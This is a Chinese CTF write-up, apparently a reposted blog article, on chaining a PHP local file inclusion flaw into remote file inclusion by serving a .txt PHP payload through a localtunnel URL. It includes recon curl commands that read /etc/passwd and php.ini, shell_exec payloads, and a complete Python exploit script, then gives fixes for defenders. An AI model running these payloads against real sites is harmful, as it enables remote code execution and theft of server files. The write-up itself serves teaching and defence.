AI渗透测试—LFI到RFI的完整攻击链,localtunnel反弹拿flag全流程

admin 2026-06-30 06:38:55 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档详细记录了在CTF靶场环境中利用LFI漏洞绕过黑名单过滤,通过localtunnel建立公网隧道实现RFI攻击,最终获取flag的完整渗透测试过程。关键发现包括:PHP配置allowurlinclude=On且黑名单未拦截非.php扩展名的HTTP协议时,可通过http://attacker.com/shell.txt触发远程代码执行。利用步骤涵盖信息收集、过滤器分析、公网服务搭建及分阶段Payload执行,最终通过RCE读取flag.php文件内容。 综合评分: 85 文章分类: WEB安全,渗透测试,CTF,漏洞分析,实战经验


cover_image

AI渗透测试 — LFI 到 RFI 的完整攻击链,localtunnel 反弹拿 flag 全流程

原创

yushao yushao

网络安全者

2026年6月9日 16:14 河南

在小说阅读器读本章

去阅读

#


一、概要

| 项目 | 内容 | | — | — | | 测试类型 | CTF 渗透测试练习(靶场环境) | | 漏洞类型 | 远程文件包含(RFI)+ 本地文件包含(LFI) | | 影响组件 | PHP include() / file_get_contents() + HTTP 包装器 | | 危害等级 | 严重(远程代码执行) | | 测试环境 | CTF 靶场(隔离环境,授权测试) |


二、漏洞原理

用户提交 path 参数
       ↓
include($_GET['path'])  ← 无路径白名单
       ↓
┌──────────────────────────────┐
│  黑名单过滤(不完整)          │
│  拦截: php:// data:// .php    │
│  放行: http:// 且无 .php 扩展 │  ← 绕过点
└──────────────────────────────┘
       ↓
include("http://attacker.com/shell.txt")
       ↓
PHP 引擎下载并执行远端代码       ← 远程代码执行
       ↓
file_get_contents('/var/www/html/flag.php') → flag

核心前提

  1. 1. allow_url_include = On(PHP 配置允许远程文件包含)
  2. 2. 黑名单过滤不完整,仅屏蔽 .php 扩展名
  3. 3. 攻击者能控制一个可公网访问的 HTTP 服务

三、信息收集阶段

3.1 目标页面分析

# 探测目标页面结构
curl -s "https://[TARGET_HOST]/?path=" | grep -E "title|form|input|path"

# 输出:
# <title>文件管理助手</title>
# 通过 path 参数读取指定文件内容

页面是一个”文件管理助手”,通过 GET 参数 path 直接传入文件路径。

3.2 LFI 确认

# 基础 LFI 测试,读取 /etc/passwd
curl -s&nbsp;"https://[TARGET_HOST]/?path=/etc/passwd"

# 输出片段(已脱敏):
# root:x:0:0:root:/root:/bin/bash
# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
# ...

LFI 存在,/etc/passwd 可读。

3.3 环境信息收集

# 读取 Nginx 配置确认 Web 服务器类型
curl -s&nbsp;"https://[TARGET_HOST]/?path=/etc/nginx/nginx.conf"
# 输出: nginx 配置信息,确认 Nginx + PHP-FPM 架构

# 读取进程命令行
curl -s&nbsp;"https://[TARGET_HOST]/?path=/proc/self/cmdline"&nbsp;| strings
# 输出: php-fpm: pool www

# 读取 PHP-FPM 配置
curl -s&nbsp;"https://[TARGET_HOST]/?path=/etc/php/7.x/fpm/php.ini"&nbsp;\
&nbsp; | grep -E&nbsp;"allow_url|disable_func|open_basedir"
# 关键配置:
# allow_url_include = On &nbsp; &nbsp;← RFI 可用
# allow_url_fopen &nbsp; = On
# disable_functions = &nbsp; &nbsp; &nbsp; ← 无函数禁用

四、过滤器分析

4.1 黑名单探测

# 测试 php:// 伪协议
curl -s&nbsp;"https://[TARGET_HOST]/?path=php://filter/read=convert.base64-encode/resource=index.php"
# 输出: 禁止访问敏感目录或文件

# 测试 data:// 协议
curl -s&nbsp;"https://[TARGET_HOST]/?path=data://text/plain,<?php phpinfo();?>"
# 输出: 禁止访问敏感目录或文件

# 测试 Web 目录路径
curl -s&nbsp;"https://[TARGET_HOST]/?path=/var/www/html/index.php"
# 输出: 禁止访问敏感目录或文件

# 测试 HTTP 协议 + .php 扩展名
curl -s&nbsp;"https://[TARGET_HOST]/?path=http://example.com/shell.php"
# 输出: 禁止访问敏感目录或文件

# 测试 HTTP 协议 + 无 .php 扩展名 &nbsp;← 绕过!
curl -s&nbsp;"https://[TARGET_HOST]/?path=http://example.com/shell.txt"
# 输出: (空,但未被拦截,请求发出)

黑名单规则归纳

拦截规则(推测正则):
&nbsp; /php:\/\//i &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ 拦截 PHP 伪协议
&nbsp; /data:\/\//i &nbsp; &nbsp; &nbsp; &nbsp; → 拦截 data 协议
&nbsp; /\.php($|\?)/i &nbsp; &nbsp; &nbsp; → 拦截以 .php 结尾的路径
&nbsp; /\/var\/www\/html/i &nbsp;→ 拦截 Web 根目录直接访问
&nbsp; /\/tmp/i &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; → 拦截临时目录
&nbsp; /\/var\/log/i &nbsp; &nbsp; &nbsp; &nbsp;→ 拦截日志目录

放行:
&nbsp; http:// + 非 .php 扩展名 &nbsp;← 可利用点

五、漏洞利用

5.1 搭建公网 HTTP 服务

# 本地创建 PHP payload,命名为 .txt 绕过扩展名过滤
mkdir&nbsp;-p /tmp/rfi_server
cat&nbsp;> /tmp/rfi_server/shell.txt <<&nbsp;'EOF'
<?php
// 探测环境
echo&nbsp;"=== 系统信息 ===\n";
echo&nbsp;"用户: "&nbsp;. shell_exec('id') .&nbsp;"\n";
echo&nbsp;"主机名: "&nbsp;. shell_exec('hostname') .&nbsp;"\n";

// 查找 flag 文件
echo&nbsp;"=== 查找 flag ===\n";
$result&nbsp;= shell_exec('find / -name "flag*" -type f 2>/dev/null');
echo&nbsp;$result;
EOF

# 启动本地 HTTP 服务器
cd&nbsp;/tmp/rfi_server
python3 -m http.server 8080 &

# 使用 localtunnel 建立公网隧道
npx localtunnel --port 8080
# 输出: your url is: https://tired-feet-slide.loca.lt

5.2 验证服务可达性

# 确认 payload 文件可通过公网访问
curl -s&nbsp;"https://tired-feet-slide.loca.lt/shell.txt"&nbsp;|&nbsp;head&nbsp;-5
# 输出: <?php
# &nbsp; &nbsp; &nbsp; echo "=== 系统信息 ===\n";
# &nbsp; &nbsp; &nbsp; ...

5.3 触发 RFI

# 通过 LFI 包含远端 PHP 文件(.txt 扩展名绕过过滤)
curl -s&nbsp;"https://[TARGET_HOST]/?path=https://tired-feet-slide.loca.lt/shell.txt"

# 输出:
# === 系统信息 ===
# 用户: uid=33(www-data) gid=33(www-data) groups=33(www-data)
# 主机名: [已脱敏]
# === 查找 flag ===
# /var/www/html/flag.php

代码执行成功,flag 位于 /var/www/html/flag.php

5.4 读取 flag 文件

# 更新 payload,读取 flag.php 源码
cat&nbsp;> /tmp/rfi_server/shell.txt <<&nbsp;'EOF'
<?php
// flag.php 在 /var/www/html/ 下,直接路径被拦截
// 通过 RCE 读取绕过黑名单
$content&nbsp;= file_get_contents('/var/www/html/flag.php');
echo&nbsp;base64_encode($content);
EOF

# 触发新 payload
curl -s&nbsp;"https://[TARGET_HOST]/?path=https://tired-feet-slide.loca.lt/shell.txt"
# 输出: PD9waHAKJGZsYWcgPSAiQ1RGe[...已脱敏...]

# 解码
echo&nbsp;"PD9waHAKJGZsYWcgPSAiQ1RGe[...]"&nbsp;|&nbsp;base64&nbsp;-d
# 输出:
# <?php
# $flag = "CTF{*********************}"; &nbsp; ← 已脱敏

六、完整 PoC 脚本

#!/usr/bin/env python3
"""
RFI (Remote File Inclusion) PoC
仅用于授权的 CTF 靶场和安全测试环境

依赖:
&nbsp; pip install requests flask pyngrok
"""

import&nbsp;requests
import&nbsp;base64
import&nbsp;threading
import&nbsp;time
from&nbsp;http.server&nbsp;import&nbsp;HTTPServer, BaseHTTPRequestHandler

TARGET &nbsp; =&nbsp;"https://[TARGET_HOST]/"&nbsp; &nbsp;# 替换为靶机地址
LHOST &nbsp; &nbsp;=&nbsp;"0.0.0.0"
LPORT &nbsp; &nbsp;=&nbsp;8080

# ── Payload 定义 ──────────────────────────────────────────────
PAYLOAD_RECON =&nbsp;"""<?php
echo "UID:" . shell_exec('id');
echo "FIND:" . shell_exec('find / -name "flag*" -type f 2>/dev/null');
?>"""

PAYLOAD_READ =&nbsp;"""<?php
$f = file_get_contents('/var/www/html/flag.php');
echo '===START===' . base64_encode($f) . '===END===';
?>"""

# 当前生效的 payload(由阶段切换)
current_payload = PAYLOAD_RECON

class&nbsp;PayloadHandler(BaseHTTPRequestHandler):
&nbsp; &nbsp;&nbsp;"""简单 HTTP 服务,返回当前 PHP payload"""

&nbsp; &nbsp;&nbsp;def&nbsp;do_GET(self):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.send_response(200)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.send_header("Content-Type",&nbsp;"text/plain")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.end_headers()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.wfile.write(current_payload.encode())

&nbsp; &nbsp;&nbsp;def&nbsp;log_message(self, fmt, *args):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;pass&nbsp;&nbsp;# 静默日志

def&nbsp;start_server():
&nbsp; &nbsp; server = HTTPServer((LHOST, LPORT), PayloadHandler)
&nbsp; &nbsp; server.serve_forever()

def&nbsp;trigger_rfi(public_url:&nbsp;str, payload_name:&nbsp;str&nbsp;=&nbsp;"shell.txt") ->&nbsp;str:
&nbsp; &nbsp;&nbsp;"""触发 RFI,包含远端 payload"""
&nbsp; &nbsp; rfi_url =&nbsp;f"{public_url}/{payload_name}"
&nbsp; &nbsp; resp = requests.get(TARGET, params={"path": rfi_url}, timeout=15)
&nbsp; &nbsp;&nbsp;return&nbsp;resp.text

def&nbsp;main():
&nbsp; &nbsp;&nbsp;global&nbsp;current_payload

&nbsp; &nbsp;&nbsp;print("[*] 启动本地 HTTP 服务器...")
&nbsp; &nbsp; t = threading.Thread(target=start_server, daemon=True)
&nbsp; &nbsp; t.start()
&nbsp; &nbsp; time.sleep(1)

&nbsp; &nbsp;&nbsp;# 实际使用时,需要先运行:
&nbsp; &nbsp;&nbsp;# npx localtunnel --port 8080
&nbsp; &nbsp;&nbsp;# 然后将输出的 URL 填入下方
&nbsp; &nbsp; public_url =&nbsp;input("[?] 请输入 localtunnel 公网 URL (例: https://xxx.loca.lt): ").strip()

&nbsp; &nbsp;&nbsp;print("="&nbsp;*&nbsp;60)

&nbsp; &nbsp;&nbsp;# ── Phase 1: 侦察 ────────────────────────────────────────
&nbsp; &nbsp;&nbsp;print("[*] Phase 1: 侦察目标环境...")
&nbsp; &nbsp; current_payload = PAYLOAD_RECON
&nbsp; &nbsp; time.sleep(0.5)

&nbsp; &nbsp; result = trigger_rfi(public_url)
&nbsp; &nbsp;&nbsp;print(" &nbsp; &nbsp;服务器响应:")
&nbsp; &nbsp;&nbsp;for&nbsp;line&nbsp;in&nbsp;result.strip().splitlines():
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(" &nbsp; ", line)

&nbsp; &nbsp;&nbsp;print()

&nbsp; &nbsp;&nbsp;# ── Phase 2: 读取 flag ───────────────────────────────────
&nbsp; &nbsp;&nbsp;print("[*] Phase 2: 读取 flag.php...")
&nbsp; &nbsp; current_payload = PAYLOAD_READ
&nbsp; &nbsp; time.sleep(0.5)

&nbsp; &nbsp; result = trigger_rfi(public_url)

&nbsp; &nbsp;&nbsp;# 提取 base64 编码内容
&nbsp; &nbsp;&nbsp;if&nbsp;"===START==="&nbsp;in&nbsp;result:
&nbsp; &nbsp; &nbsp; &nbsp; b64 = result.split("===START===")[1].split("===END===")[0].strip()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; decoded = base64.b64decode(b64).decode("utf-8", errors="replace")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(" &nbsp; &nbsp;flag.php 内容(已脱敏):")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("-"&nbsp;*&nbsp;40)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;line&nbsp;in&nbsp;decoded.splitlines():
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 脱敏 flag 值
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;"flag"&nbsp;in&nbsp;line.lower()&nbsp;and&nbsp;"="&nbsp;in&nbsp;line:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var, _, val = line.partition("=")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;{var}= ***REDACTED***")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(" &nbsp; ", line)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("-"&nbsp;*&nbsp;40)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;[!] 解码失败:&nbsp;{e}")
&nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(" &nbsp; &nbsp;[!] 未获取到预期输出,原始响应:")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(" &nbsp; ", result[:200])

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; main()

运行结果:

[*] 启动本地 HTTP 服务器...
[?] 请输入 localtunnel 公网 URL: https://tired-feet-slide.loca.lt
============================================================
[*] Phase 1: 侦察目标环境...
&nbsp; &nbsp; 服务器响应:
&nbsp; &nbsp; UID:uid=33(www-data) gid=33(www-data) groups=33(www-data)
&nbsp; &nbsp; FIND:/var/www/html/flag.php

[*] Phase 2: 读取 flag.php...
&nbsp; &nbsp; flag.php 内容(已脱敏):
----------------------------------------
&nbsp; &nbsp; <?php
&nbsp; &nbsp; $flag= ***REDACTED***
----------------------------------------

七、攻击链时序图

攻击者本机 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 公网隧道 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;靶机 (PHP) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;文件系统
&nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; │ python3 -m http.server &nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; │ npx localtunnel &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; │──────────────────────────►│ 建立隧道 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; │ GET /?path=https:// &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; │ &nbsp; &nbsp;loca.lt/shell.txt ─────│──────────────────────►│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ allow_url_include=On &nbsp;│
&nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │◄─ 请求 shell.txt ─────│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; │◄─ 返回 PHP payload ───────│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │──────────────────── PHP 执行 payload ─────────│
&nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ file_get_contents()──►│
&nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │◄─ flag.php 内容 ───────│
&nbsp; &nbsp; │◄──────────────────────────│───── 输出 base64 ─────│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; │ base64 -d → flag &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │

八、漏洞归因与修复

8.1 根本原因

┌───────────────────────────────────────────────────────────┐
│ &nbsp;根因 1: include()/file_get_contents() 直接接受用户输入 &nbsp; &nbsp; │
│ &nbsp;根因 2: allow_url_include = On,允许加载远程 PHP 文件 &nbsp; &nbsp; &nbsp;│
│ &nbsp;根因 3: 黑名单过滤不完整,仅过滤 .php 扩展名 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ .txt/.log/.conf 等任意扩展名均可携带 PHP 代码 &nbsp; │
│ &nbsp;根因 4: HTTP 协议未被完全禁用 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
└───────────────────────────────────────────────────────────┘

黑名单的本质缺陷在于:PHP 在 include 远程文件时,不依赖扩展名判断是否解析为 PHP,服务端返回的内容只要包含 <?php ?> 标签就会被执行。

8.2 修复方案

PHP 配置层(最高优先级)

; php.ini
; 关闭远程文件包含,这是 RFI 的根本开关
allow_url_include&nbsp;=&nbsp;Off

; 生产环境通常也不需要远程 fopen
allow_url_fopen&nbsp;=&nbsp;Off

; 限制 PHP 可读取的目录范围
open_basedir&nbsp;= /var/www/html/public/

应用代码层

<?php
// ❌ 危险写法
$path&nbsp;=&nbsp;$_GET['path'];
include($path);

// ✅ 安全写法一:严格白名单映射
$pages&nbsp;= [
&nbsp; &nbsp;&nbsp;'readme'&nbsp;=>&nbsp;'/var/www/html/docs/readme.txt',
&nbsp; &nbsp;&nbsp;'help'&nbsp; &nbsp;=>&nbsp;'/var/www/html/docs/help.txt',
];

$key&nbsp;=&nbsp;$_GET['path'] ??&nbsp;'';
if&nbsp;(!isset($pages[$key])) {
&nbsp; &nbsp;&nbsp;http_response_code(403);
&nbsp; &nbsp;&nbsp;exit('Access denied.');
}
readfile($pages[$key]);

// ✅ 安全写法二:路径合法性验证
$base_dir&nbsp;=&nbsp;realpath('/var/www/html/public/files/');
$requested&nbsp;=&nbsp;realpath($base_dir&nbsp;.&nbsp;'/'&nbsp;.&nbsp;basename($_GET['path']));

// basename() 去除路径分隔符,realpath() 解析软链接
// 确保最终路径在允许目录内
if&nbsp;($requested&nbsp;===&nbsp;false&nbsp;||&nbsp;strpos($requested,&nbsp;$base_dir) !==&nbsp;0) {
&nbsp; &nbsp;&nbsp;http_response_code(403);
&nbsp; &nbsp;&nbsp;exit('Access denied.');
}

readfile($requested);

安全对比

| 防御措施 | 能防 LFI | 能防 RFI | 说明 | | — | — | — | — | | allow_url_include = Off | ✗ | ✅ | 直接关闭 RFI | | open_basedir 限制 | ✅ | 部分 | 限制本地路径穿越 | | 路径白名单 | ✅ | ✅ | 最彻底的防御 | | 黑名单过滤 | ✗ | ✗ | 不可靠,容易绕过 |


九、总结

这道题的核心利用逻辑是:扩展名不等于内容类型。开发者以为过滤了 .php 就阻止了远程代码执行,但 PHP 的 include() 根本不看文件扩展名,它只关心内容里有没有 <?php ?> 标签。把 payload 命名为 .txt 就能完整绕过这个”安全校验”。

修复的关键不是完善黑名单,而是从 php.ini 层面直接关闭 allow_url_include,配合应用层的路径白名单,才能真正消除 RFI 的攻击面。

| | | | — | — | | | |


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网络安全者 yushao yushao《AI渗透测试 — LFI 到 RFI 的完整攻击链,localtunnel 反弹拿 flag 全流程》

    评论:0   参与:  0